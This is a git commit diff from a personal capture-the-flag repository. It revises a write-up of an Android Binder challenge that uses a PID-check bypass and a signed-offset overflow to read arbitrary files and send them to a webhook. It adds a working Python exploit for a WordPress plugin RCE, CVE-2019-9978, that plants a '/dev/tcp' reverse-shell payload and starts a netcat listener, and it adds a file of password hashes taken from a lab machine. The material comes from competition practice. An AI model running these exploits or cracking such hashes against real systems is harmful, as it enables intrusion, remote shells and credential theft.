updates people updates
This commit is contained in:
2
.gitignore
vendored
2
.gitignore
vendored
@@ -2,3 +2,5 @@
|
|||||||
.venv/
|
.venv/
|
||||||
__pycache__/
|
__pycache__/
|
||||||
core.*
|
core.*
|
||||||
|
/2026/usd_hackertag/ovpn_HT26MU06.conf
|
||||||
|
/2026/usd_hackertag/freya/linpeas.sh
|
||||||
|
|||||||
BIN
2026/cscg/pwn/canopysaurus/ecu_sim.i64
Normal file
BIN
2026/cscg/pwn/canopysaurus/ecu_sim.i64
Normal file
Binary file not shown.
@@ -1,149 +0,0 @@
|
|||||||
{
|
|
||||||
"projectVersion": 2,
|
|
||||||
"files": [
|
|
||||||
"../PeakyBinders-df87519a5cdcf8f1d106cebb41b8ca8879274b7cf2a2237156a517d3e143a969.apk"
|
|
||||||
],
|
|
||||||
"treeExpansionsV2": [],
|
|
||||||
"codeData": {
|
|
||||||
"comments": [],
|
|
||||||
"renames": [
|
|
||||||
{
|
|
||||||
"nodeRef": {
|
|
||||||
"refType": "METHOD",
|
|
||||||
"declClass": "com.peaky.binders.PeakyService$1",
|
|
||||||
"shortId": "DebugCheckFile([B)V"
|
|
||||||
},
|
|
||||||
"codeRef": {
|
|
||||||
"attachType": "VAR",
|
|
||||||
"index": 131080
|
|
||||||
},
|
|
||||||
"newName": "serverUrl"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"nodeRef": {
|
|
||||||
"refType": "METHOD",
|
|
||||||
"declClass": "com.peaky.binders.PeakyService$1",
|
|
||||||
"shortId": "DebugCheckFile([B)V"
|
|
||||||
},
|
|
||||||
"codeRef": {
|
|
||||||
"attachType": "VAR",
|
|
||||||
"index": 458757
|
|
||||||
},
|
|
||||||
"newName": "len_content"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"openTabs": [
|
|
||||||
{
|
|
||||||
"type": "class",
|
|
||||||
"tabPath": "com.peaky.binders.Achievement",
|
|
||||||
"subPath": "java",
|
|
||||||
"caret": 83,
|
|
||||||
"view": {
|
|
||||||
"x": 0,
|
|
||||||
"y": 0
|
|
||||||
},
|
|
||||||
"active": false,
|
|
||||||
"pinned": false,
|
|
||||||
"bookmarked": false,
|
|
||||||
"hidden": false,
|
|
||||||
"previewTab": false
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "class",
|
|
||||||
"tabPath": "com.peaky.binders.AchievementAdapter",
|
|
||||||
"subPath": "java",
|
|
||||||
"caret": 369,
|
|
||||||
"view": {
|
|
||||||
"x": 0,
|
|
||||||
"y": 0
|
|
||||||
},
|
|
||||||
"active": false,
|
|
||||||
"pinned": false,
|
|
||||||
"bookmarked": false,
|
|
||||||
"hidden": false,
|
|
||||||
"previewTab": false
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "class",
|
|
||||||
"tabPath": "com.peaky.binders.MainActivity",
|
|
||||||
"subPath": "java",
|
|
||||||
"caret": 5293,
|
|
||||||
"view": {
|
|
||||||
"x": 0,
|
|
||||||
"y": 1512
|
|
||||||
},
|
|
||||||
"active": true,
|
|
||||||
"pinned": false,
|
|
||||||
"bookmarked": false,
|
|
||||||
"hidden": false,
|
|
||||||
"previewTab": false
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "class",
|
|
||||||
"tabPath": "com.peaky.binders.R",
|
|
||||||
"subPath": "java",
|
|
||||||
"caret": 400993,
|
|
||||||
"view": {
|
|
||||||
"x": 0,
|
|
||||||
"y": 191555
|
|
||||||
},
|
|
||||||
"active": false,
|
|
||||||
"pinned": false,
|
|
||||||
"bookmarked": false,
|
|
||||||
"hidden": false,
|
|
||||||
"previewTab": false
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "class",
|
|
||||||
"tabPath": "com.peaky.binders.PeakyService",
|
|
||||||
"subPath": "java",
|
|
||||||
"caret": 449,
|
|
||||||
"view": {
|
|
||||||
"x": 0,
|
|
||||||
"y": 108
|
|
||||||
},
|
|
||||||
"active": false,
|
|
||||||
"pinned": false,
|
|
||||||
"bookmarked": false,
|
|
||||||
"hidden": false,
|
|
||||||
"previewTab": false
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "class",
|
|
||||||
"tabPath": "com.peaky.binders.IPeakyService",
|
|
||||||
"subPath": "java",
|
|
||||||
"caret": 2059,
|
|
||||||
"view": {
|
|
||||||
"x": 0,
|
|
||||||
"y": 627
|
|
||||||
},
|
|
||||||
"active": false,
|
|
||||||
"pinned": false,
|
|
||||||
"bookmarked": false,
|
|
||||||
"hidden": false,
|
|
||||||
"previewTab": false
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "resource",
|
|
||||||
"tabPath": "AndroidManifest.xml",
|
|
||||||
"subPath": "",
|
|
||||||
"caret": 344,
|
|
||||||
"view": {
|
|
||||||
"x": 0,
|
|
||||||
"y": 0
|
|
||||||
},
|
|
||||||
"active": false,
|
|
||||||
"pinned": false,
|
|
||||||
"bookmarked": false,
|
|
||||||
"hidden": false,
|
|
||||||
"previewTab": false
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"cacheDir": "/home/cato/.cache/jadx/projects/PeakyBinders-df87519a5cdcf8f1d106cebb41b8ca8879274b7cf2a2237156a517d3e143a969-d1321210fa1b70152852835e73296d91",
|
|
||||||
"enableLiveReload": false,
|
|
||||||
"searchHistory": [],
|
|
||||||
"searchResourcesFilter": "$TEXT",
|
|
||||||
"searchResourcesSizeLimit": 0,
|
|
||||||
"pluginOptions": {}
|
|
||||||
}
|
|
||||||
@@ -33,7 +33,6 @@ The app seems to be used as an Achievement Tracker:
|
|||||||
The first two achievements are trivial. For the first you have to enter a name containing `shelby`. The second requires to press a button twenty times.
|
The first two achievements are trivial. For the first you have to enter a name containing `shelby`. The second requires to press a button twenty times.
|
||||||
|
|
||||||
The PeakyService is an exported Android Service that exposes a custom Binder interface. Through this interface, it allows external processes interact with three specific methods: `DebugCheckFile`, `isAchievmentUnlocked` and `enableDebugMode`.
|
The PeakyService is an exported Android Service that exposes a custom Binder interface. Through this interface, it allows external processes interact with three specific methods: `DebugCheckFile`, `isAchievmentUnlocked` and `enableDebugMode`.
|
||||||
This is our entry point for the exploit.
|
|
||||||
|
|
||||||
The function `DebugCheckFile` unlocks the third achievement. This has to be the secret command.
|
The function `DebugCheckFile` unlocks the third achievement. This has to be the secret command.
|
||||||
|
|
||||||
@@ -47,35 +46,9 @@ public void DebugCheckFile(byte[] bArr) throws RemoteException {
|
|||||||
}
|
}
|
||||||
Log.d("PeakyService", "Called from a root process: " + callingPid);
|
Log.d("PeakyService", "Called from a root process: " + callingPid);
|
||||||
PeakyService.this.logToFile("DebugCheckFile called from root process - PID: " + callingPid);
|
PeakyService.this.logToFile("DebugCheckFile called from root process - PID: " + callingPid);
|
||||||
String str = new String(bArr);
|
|
||||||
PeakyService.this.logToFile("Caller name: ".concat(str));
|
//[28 lines of Code removed for clarity]
|
||||||
String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str);
|
|
||||||
if (strArrRetrieveLog != null && strArrRetrieveLog.length == 2) {
|
|
||||||
final String serverUrl = strArrRetrieveLog[0];
|
|
||||||
final String log_content = strArrRetrieveLog[1];
|
|
||||||
Log.d("PeakyService", "DEBUG serverUrl: " + serverUrl);
|
|
||||||
Log.d("PeakyService", "DEBUG logContent length: " + log_content.length());
|
|
||||||
PeakyService.this.logToFile("DEBUG serverUrl: " + serverUrl);
|
|
||||||
new Thread(new Runnable() { // from class: com.peaky.binders.PeakyService.1.1
|
|
||||||
@Override // java.lang.Runnable
|
|
||||||
public void run() {
|
|
||||||
try {
|
|
||||||
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(serverUrl + "/logs/").openConnection();
|
|
||||||
httpURLConnection.setRequestMethod("POST");
|
|
||||||
httpURLConnection.setDoOutput(true);
|
|
||||||
httpURLConnection.setRequestProperty("Content-Type", "text/plain");
|
|
||||||
OutputStream outputStream = httpURLConnection.getOutputStream();
|
|
||||||
outputStream.write(log_content.getBytes());
|
|
||||||
outputStream.flush();
|
|
||||||
outputStream.close();
|
|
||||||
Log.d("PeakyService", "HTTP Response: " + httpURLConnection.getResponseCode());
|
|
||||||
httpURLConnection.disconnect();
|
|
||||||
} catch (Exception e) {
|
|
||||||
Log.e("PeakyService", "Failed to send logs: " + e.getMessage());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}).start();
|
|
||||||
}
|
|
||||||
Intent intent = new Intent(PeakyService.ACTION_ACHIEVEMENT_UNLOCKED);
|
Intent intent = new Intent(PeakyService.ACTION_ACHIEVEMENT_UNLOCKED);
|
||||||
intent.putExtra(PeakyService.EXTRA_ACHIEVEMENT_INDEX, 2);
|
intent.putExtra(PeakyService.EXTRA_ACHIEVEMENT_INDEX, 2);
|
||||||
PeakyService.this.sendBroadcast(intent);
|
PeakyService.this.sendBroadcast(intent);
|
||||||
@@ -84,21 +57,14 @@ public void DebugCheckFile(byte[] bArr) throws RemoteException {
|
|||||||
|
|
||||||
### Bypass the root requirement
|
### Bypass the root requirement
|
||||||
|
|
||||||
The first problem to tackle is to circumvent the root check.
|
To unlock the third achievement we have to call the method from a process with `PID = 0`.
|
||||||
|
Usually having a PID of `0` is not possible for normal user space processes.
|
||||||
|
Thankfully the Android API helps us out.
|
||||||
|
|
||||||
```java
|
The [Android API reference](https://developer.android.com/reference/android/os/Binder#getCallingPid()) for `Binder.getCallingPid` states the following:
|
||||||
int callingPid = Binder.getCallingPid();
|
|
||||||
if (callingPid != 0) {
|
|
||||||
Log.d("PeakyService", "We allow a root process only: " + callingPid);
|
|
||||||
PeakyService.this.logToFile("DebugCheckFile called - rejected, PID: " + callingPid);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
The Android API reference for Binder.getCallingPid states the following https://developer.android.com/reference/android/os/Binder#getCallingPid()
|
|
||||||
> Warning do not use this as a security identifier! PID is unreliable as it may be re-used. This should mostly be used for debugging. oneway transactions do not receive PID. Even if you expect a transaction to be synchronous, a misbehaving client could send it as a asynchronous call and result in a 0 PID here.
|
> Warning do not use this as a security identifier! PID is unreliable as it may be re-used. This should mostly be used for debugging. oneway transactions do not receive PID. Even if you expect a transaction to be synchronous, a misbehaving client could send it as a asynchronous call and result in a 0 PID here.
|
||||||
|
|
||||||
To abuse this bug you can use a function like this (by the courtesy of Claude):
|
The wrongful usage of `Binder.getCallingPid` as an authorization mechanism makes the PID check trivial to pass.
|
||||||
```java
|
```java
|
||||||
private void sendOnewayTransaction(byte[] payload) throws RemoteException {
|
private void sendOnewayTransaction(byte[] payload) throws RemoteException {
|
||||||
Parcel data = Parcel.obtain();
|
Parcel data = Parcel.obtain();
|
||||||
@@ -110,13 +76,50 @@ private void sendOnewayTransaction(byte[] payload) throws RemoteException {
|
|||||||
data.recycle();
|
data.recycle();
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
This proves there is a way to call DebugCheckFile and get our third achievement but there is still no flag in sight.
|
|
||||||
|
|
||||||
### Leak file content
|
Wuhu we got the third achievement!
|
||||||
|
I hoped that the flag is then somehow shown on the screen but this was not the case.
|
||||||
|
|
||||||
|
### Further analysis
|
||||||
|
|
||||||
|
I left out 28 lines of code from `DebugCheckFile` earlier:
|
||||||
|
```java
|
||||||
|
String str = new String(bArr);
|
||||||
|
PeakyService.this.logToFile("Caller name: ".concat(str));
|
||||||
|
String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str);
|
||||||
|
if (strArrRetrieveLog != null && strArrRetrieveLog.length == 2) {
|
||||||
|
final String serverUrl = strArrRetrieveLog[0];
|
||||||
|
final String log_content = strArrRetrieveLog[1];
|
||||||
|
Log.d("PeakyService", "DEBUG serverUrl: " + serverUrl);
|
||||||
|
Log.d("PeakyService", "DEBUG logContent length: " + log_content.length());
|
||||||
|
PeakyService.this.logToFile("DEBUG serverUrl: " + serverUrl);
|
||||||
|
new Thread(new Runnable() { // from class: com.peaky.binders.PeakyService.1.1
|
||||||
|
@Override // java.lang.Runnable
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(serverUrl + "/logs/").openConnection();
|
||||||
|
httpURLConnection.setRequestMethod("POST");
|
||||||
|
httpURLConnection.setDoOutput(true);
|
||||||
|
httpURLConnection.setRequestProperty("Content-Type", "text/plain");
|
||||||
|
OutputStream outputStream = httpURLConnection.getOutputStream();
|
||||||
|
outputStream.write(log_content.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
Log.d("PeakyService", "HTTP Response: " + httpURLConnection.getResponseCode());
|
||||||
|
httpURLConnection.disconnect();
|
||||||
|
} catch (Exception e) {
|
||||||
|
Log.e("PeakyService", "Failed to send logs: " + e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}).start();
|
||||||
|
}
|
||||||
|
```
|
||||||
|
`DebugCheckFile` sends logs to some server. The log content and the server URL come from `RetrieveLog`. This seems to be some functionality for debugging or telemetry purposes.
|
||||||
|
|
||||||
|
|
||||||
Looking a bit further into the function the content and server url is fetched by `String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str)`.
|
### Weaponizing telemetry
|
||||||
|
|
||||||
|
RetrieveLog is not in the Java code. It is defined in a separate compiled Binary named `libpeaky.so`.
|
||||||
```java
|
```java
|
||||||
static {
|
static {
|
||||||
System.loadLibrary("peaky");
|
System.loadLibrary("peaky");
|
||||||
@@ -126,18 +129,16 @@ static {
|
|||||||
public native String[] RetrieveLog(String str);
|
public native String[] RetrieveLog(String str);
|
||||||
```
|
```
|
||||||
|
|
||||||
This just turned into a x86_64 reversing challenge!
|
Using IDA I found out that the Java string that is passed to the function is consumed by `sscanf(callerNameCStr, "%15[^:]:%d:%c", callerTag, &partialOffset, &separatorChar)`.
|
||||||
|
|
||||||
The function accepts a Java string that acts as a command, reads the last 2048 bytes of a log file to a buffer, and returns a two-element Java String[] array containing a server URL and the log contents.
|
By examining the callerTag comparisons in the decompiled source, I identified two valid commands: `FULL` and `PARTIAL`.
|
||||||
|
|
||||||
The command is parsed with `sscanf(callerNameCStr, "%15[^:]:%d:%c", callerTag, &partialOffset, &separatorChar)`.
|
Both commands are nearly identical: each opens a file, reads its final 2048 bytes into a buffer, and returns that buffer along with a URL. The URL serves as the target to which the buffer's contents are sent as we have already seen.
|
||||||
Because of this a command has the format `"<command>:<offset>:<separator>"`.
|
The only difference is that the `PARTIAL` command additionally writes `separatorChar` into the buffer at `partialOffset` before returning.
|
||||||
There are two commands: `FULL` and `PARTIAL`
|
|
||||||
|
|
||||||
As per my understanding both commands only differ slightly. The `PARTIAL` command writes `separatorChar` at `partialOffset` in the buffer.
|
|
||||||
|
|
||||||
This is the logic for writing the separator into the buffer:
|
This is the logic for writing the separator into the buffer:
|
||||||
```
|
|
||||||
|
```c
|
||||||
if ( *(_QWORD *)callerTag == 'LAITRAP' ) // If PARTIAL set separator
|
if ( *(_QWORD *)callerTag == 'LAITRAP' ) // If PARTIAL set separator
|
||||||
{
|
{
|
||||||
clampedOffset = partialOffset;
|
clampedOffset = partialOffset;
|
||||||
@@ -156,37 +157,34 @@ if ( *(_QWORD *)callerTag == 'LAITRAP' ) // If PARTIAL set separator
|
|||||||
g_fileBuffer[separatorPos] = separatorChar;
|
g_fileBuffer[separatorPos] = separatorChar;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
The security problem here is that `clampedOffset` and `partialOffset` are both signed integers.
|
The vulnerability lies in the fact that both `clampedOffset` and `partialOffset` are signed integers. The upper bound check `partialOffset >= 2049` correctly rejects values that are too large, but there is no lower bound check. Negative values pass through unconstrained. When `calmpedOffset` is negative the subtraction wraps upwards.
|
||||||
When `clampedOffset` is negative, like `-1`, the subtraction wraps:
|
|
||||||
```
|
```
|
||||||
2048 - (-1) = 2049
|
2048 - (-1) = 2049
|
||||||
```
|
```
|
||||||
|
|
||||||
`g_fileBuffer[2049]` is the first byte **past** the buffer, which lands exactly on `g_serverUrl[0]`.
|
`g_fileBuffer[2049]` is one byte **past** the end of the buffer, which lands exactly on `g_serverUrl[0]`. More generally, to write to `g_serverUrl[i]` we need `separatorPos = 2049 + i`
|
||||||
|
|
||||||
Generalizing: to write to `g_serverUrl[i]` you need `separatorPos = 2049 + i` which means:
|
|
||||||
```
|
```
|
||||||
2048 - clampedOffset = 2049 + i
|
2048 - clampedOffset = 2049 + i
|
||||||
clampedOffset = -(1 + i)
|
clampedOffset = -(1 + i)
|
||||||
```
|
```
|
||||||
|
|
||||||
This allows an attacker to change the URL byte for byte.
|
This gives an attacker byte-by-byte control over `g_serverUrl`. The same technique applies to `g_logFilePath`, which sits 65 bytes past the end of the buffer.
|
||||||
Same thing can be done with the logFilePath (here with an offset of `65` and not `1`).
|
|
||||||
|
|
||||||
|
The relevant memory layout in .data is:
|
||||||
Memory layout in .data:
|
|
||||||
```
|
```
|
||||||
g_fileBuffer @ 0x39D8 (2049 bytes, ends at 0x41D8)
|
g_fileBuffer @ 0x39D8 (2049 bytes, ends at 0x41D8)
|
||||||
g_serverUrl @ 0x41D9 (64 bytes)
|
g_serverUrl @ 0x41D9 (64 bytes)
|
||||||
g_logFilePath @ 0x4219 (64 bytes)
|
g_logFilePath @ 0x4219 (64 bytes)
|
||||||
```
|
```
|
||||||
|
By overwriting `g_serverUrl` to an attacker-controlled server and `g_logFilePath` to any file on the device an attacker can read any arbitrary file and exfiltrate data to any URL.
|
||||||
|
|
||||||
Using this we now have an arbitrary file read.
|
|
||||||
|
|
||||||
### Flag location
|
### Flag location
|
||||||
|
|
||||||
We still need to find the Flag.
|
We still need to find the Flag.
|
||||||
At this point I remembered that the achievements are loaded on start from a file.
|
At this point I remembered that the achievements are loaded on start from a file.
|
||||||
|
This indicates that the app as some form of context or environment variables.
|
||||||
|
|
||||||
```java
|
```java
|
||||||
private SharedPreferences prefs;
|
private SharedPreferences prefs;
|
||||||
@@ -213,20 +211,21 @@ private void loadProgress() {
|
|||||||
this.adapter.notifyDataSetChanged();
|
this.adapter.notifyDataSetChanged();
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
I asked Claude where these SharedPreferences are stored.
|
I asked Claude where these SharedPreferences are stored.
|
||||||
It not only told me that the standard path is `/data/data/<package_name>/shared_prefs/<PREFS_NAME>.xml` it also said this is a common flag hiding spot for CTFs.
|
It told me that the standard path is `/data/data/<package_name>/shared_prefs/<PREFS_NAME>.xml`.
|
||||||
|
|
||||||
|
|
||||||
### Writing the Exploit
|
### Writing the Exploit
|
||||||
|
|
||||||
|
This challenge is special to me because we are not given a url with a port by the organizers to attack but a portal where we can upload APKs.
|
||||||
As I never wrote an APK before and had no Idea how to handle IPC on Android I generated the following exploit with Claude.
|
As I never wrote an APK before and had no Idea how to handle IPC on Android I generated the following exploit with Claude.
|
||||||
It feels a bit filthy but trying to first blood the challenge made me rush.
|
It feels a bit filthy but trying to first blood the challenge made me rush.
|
||||||
|
|
||||||
In summary the malicious APK overwrites the webhook URL and the filepath byte per byte and triggers a full read at the end.
|
In summary the malicious APK overwrites the webhook URL and the filepath byte per byte and triggers a full read at the end.
|
||||||
To circumvent the `PID == 0` check the sendOnewayTransaction function from above is used.
|
To circumvent the `PID == 0` check the `sendOnewayTransaction` function from above is used.
|
||||||
|
|
||||||
```java
|
```java
|
||||||
|
|
||||||
package com.hacker.exploit;
|
package com.hacker.exploit;
|
||||||
|
|
||||||
import android.app.Activity;
|
import android.app.Activity;
|
||||||
@@ -243,7 +242,7 @@ import android.util.Log;
|
|||||||
public class MainActivity extends Activity {
|
public class MainActivity extends Activity {
|
||||||
private static final String TAG = "Exploit";
|
private static final String TAG = "Exploit";
|
||||||
private IBinder peakyBinder;
|
private IBinder peakyBinder;
|
||||||
private static final String WEBHOOK_URL = <WEBHOOK_URL>";
|
private static final String WEBHOOK_URL = "<WEBHOOK_URL>";
|
||||||
private static final String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
|
private static final String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
|
||||||
|
|
||||||
private ServiceConnection connection = new ServiceConnection() {
|
private ServiceConnection connection = new ServiceConnection() {
|
||||||
@@ -303,3 +302,8 @@ public class MainActivity extends Activity {
|
|||||||
}
|
}
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### Conclusion
|
||||||
|
|
||||||
|
I am happy that the flag was indeed stored at `/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml`. At the time I had no further ideas where the flag could be hidden.
|
||||||
|
This challenge was a lot of fun and showed once again how important it is to use APIs only for their intended purpose especially when they are used to implement a security measure.
|
||||||
|
|||||||
5
2026/kalmar/misc/git-hoarder/exploit.sh
Normal file → Executable file
5
2026/kalmar/misc/git-hoarder/exploit.sh
Normal file → Executable file
@@ -27,5 +27,8 @@ git commit -m "Delivery package with refs tracked"
|
|||||||
|
|
||||||
# 6. Push to your server
|
# 6. Push to your server
|
||||||
git branch -M main
|
git branch -M main
|
||||||
git remote add origin https://gitea.cato447.de/cato447/pwn.git
|
git remote add origin ssh://git@gitea.cato447.de:222/cato447/pwn.git
|
||||||
git push -u origin main -f
|
git push -u origin main -f
|
||||||
|
cd ..
|
||||||
|
|
||||||
|
rm -rf base_repo malicious.git wrapper
|
||||||
|
|||||||
31
2026/usd_hackertag/freya/crack_input
Normal file
31
2026/usd_hackertag/freya/crack_input
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
root:$6$mbIzpNIo$XElePqDmVNcUEhdU0nH1eQYvRvU1xQqQOM3F38Zceslqiz0tYTc1iAMxFXTt9TKlXsslPvLoLuMlE/n83iNce/:0:0:root:/root:/bin/bash
|
||||||
|
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||||
|
bin:*:2:2:bin:/bin:/usr/sbin/nologin
|
||||||
|
sys:*:3:3:sys:/dev:/usr/sbin/nologin
|
||||||
|
sync:*:4:65534:sync:/bin:/bin/sync
|
||||||
|
games:*:5:60:games:/usr/games:/usr/sbin/nologin
|
||||||
|
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||||
|
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||||
|
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||||
|
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||||
|
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||||
|
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
|
||||||
|
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||||
|
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||||
|
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||||
|
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||||
|
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||||
|
nobody:*:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||||
|
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
|
||||||
|
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
|
||||||
|
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
|
||||||
|
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
|
||||||
|
_apt:*:104:65534::/nonexistent:/bin/false
|
||||||
|
messagebus:*:105:109::/var/run/dbus:/bin/false
|
||||||
|
sshd:*:106:65534::/run/sshd:/usr/sbin/nologin
|
||||||
|
user:$6$RGsJnnEH$mma2lPBOwYMp.3JZ/8dhUW4LZ6Mxee2d52wUiQyxMNOXjzUY5PG.SvfmkriTdHgn5WX7OsBo2AOiPCEEMtTN1.:1000:1000:user,,,:/home/user:/bin/bash
|
||||||
|
mysql:!:107:111:MySQL Server,,,:/nonexistent:/bin/false
|
||||||
|
ftp:*:108:112:ftp daemon,,,:/srv/ftp:/bin/false
|
||||||
|
smmta:*:109:114:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
|
||||||
|
smmsp:*:110:115:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
|
||||||
|
baldur:$6$/ScR4vLK$8XCAkPccvTAycL8fOxZagyk.vy54EqmdTcZQWQI.gzcygN6C5Iy35bMI65TZliwP6acrGpnhRBZKFrexoNGtu/:1001:1001::/home/baldur:
|
||||||
105
2026/usd_hackertag/freya/exploit.py
Normal file
105
2026/usd_hackertag/freya/exploit.py
Normal file
@@ -0,0 +1,105 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# Exploit Title: Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
|
||||||
|
# Date: 25-06-2025
|
||||||
|
# Exploit Author: Huseyin Mardini (@housma)
|
||||||
|
# Original Researcher: Luka Sikic
|
||||||
|
# Original Exploit Author: hash3liZer
|
||||||
|
# Vendor Homepage: https://wordpress.org/plugins/social-warfare/
|
||||||
|
# Software Link: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
|
||||||
|
# Version: <= 3.5.2
|
||||||
|
# CVE: CVE-2019-9978
|
||||||
|
# Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu 20.04)
|
||||||
|
# Python Version: Python 3.x
|
||||||
|
# Reference: https://www.exploit-db.com/exploits/46794
|
||||||
|
# Github (original PoC): https://github.com/hash3liZer/CVE-2019-9978
|
||||||
|
|
||||||
|
# The currently listed exploit for *CVE-2019-9978* (Exploit ID 46794<https://www.exploit-db.com/exploits/46794>) appears to no longer work as intended in many modern environments
|
||||||
|
|
||||||
|
# Usage:
|
||||||
|
# 1. Edit the config section below and replace `ATTACKER_IP` with your machine's IP.
|
||||||
|
# 2. Run the script: `python3 exploit.py`
|
||||||
|
# 3. It will:
|
||||||
|
# - Create a PHP payload and save it as `payload.txt` (or any filename you set in PAYLOAD_FILE)
|
||||||
|
# - Start an HTTP server on `HTTP_PORT` to host the payload
|
||||||
|
# - Start a Netcat listener on `LISTEN_PORT`
|
||||||
|
# - Trigger the vulnerability via the vulnerable `swp_debug` parameter
|
||||||
|
# 4. On success, you get a reverse shell as `www-data`.
|
||||||
|
#
|
||||||
|
# Note:
|
||||||
|
# - PAYLOAD_FILE defines only the name of the file to be created and served.
|
||||||
|
# - Make sure ports 8001 and 4444 are open and not in use.
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import threading
|
||||||
|
import http.server
|
||||||
|
import socketserver
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
import random
|
||||||
|
|
||||||
|
# --- Config ---
|
||||||
|
TARGET_URL = "http://10.2.66.5/yggdrasil"
|
||||||
|
ATTACKER_IP = "10.1.0.172" # Change to your attack box IP
|
||||||
|
HTTP_PORT = 80
|
||||||
|
LISTEN_PORT = random.randint(40000,65555)
|
||||||
|
PAYLOAD_FILE = "payload.txt"
|
||||||
|
|
||||||
|
|
||||||
|
def create_payload():
|
||||||
|
"""Write exact reverse shell payload using valid PHP syntax"""
|
||||||
|
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
|
||||||
|
with open(PAYLOAD_FILE, "w") as f:
|
||||||
|
f.write(payload)
|
||||||
|
print(f"[+] Payload written to {PAYLOAD_FILE}")
|
||||||
|
|
||||||
|
|
||||||
|
def start_http_server():
|
||||||
|
"""Serve payload over HTTP"""
|
||||||
|
handler = http.server.SimpleHTTPRequestHandler
|
||||||
|
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
|
||||||
|
print(f"[+] HTTP server running at port {HTTP_PORT}")
|
||||||
|
httpd.serve_forever()
|
||||||
|
|
||||||
|
|
||||||
|
def start_listener():
|
||||||
|
"""Start Netcat listener"""
|
||||||
|
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
|
||||||
|
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
|
||||||
|
|
||||||
|
|
||||||
|
def send_exploit():
|
||||||
|
"""Trigger the exploit with vulnerable parameter"""
|
||||||
|
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
|
||||||
|
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
|
||||||
|
print(f"[+] Sending exploit: {exploit}")
|
||||||
|
try:
|
||||||
|
requests.get(exploit, timeout=5)
|
||||||
|
except requests.exceptions.RequestException:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
create_payload()
|
||||||
|
|
||||||
|
# Start web server in background
|
||||||
|
http_thread = threading.Thread(target=start_http_server, daemon=True)
|
||||||
|
http_thread.start()
|
||||||
|
time.sleep(2) # Give server time to start
|
||||||
|
|
||||||
|
# Start listener in background
|
||||||
|
listener_thread = threading.Thread(target=start_listener)
|
||||||
|
listener_thread.start()
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
# Send the malicious request
|
||||||
|
send_exploit()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
main()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("[-] Interrupted by user.")
|
||||||
|
|
||||||
2083
2026/usd_hackertag/freya/out.txt
Normal file
2083
2026/usd_hackertag/freya/out.txt
Normal file
File diff suppressed because it is too large
Load Diff
31
2026/usd_hackertag/freya/passwd
Normal file
31
2026/usd_hackertag/freya/passwd
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
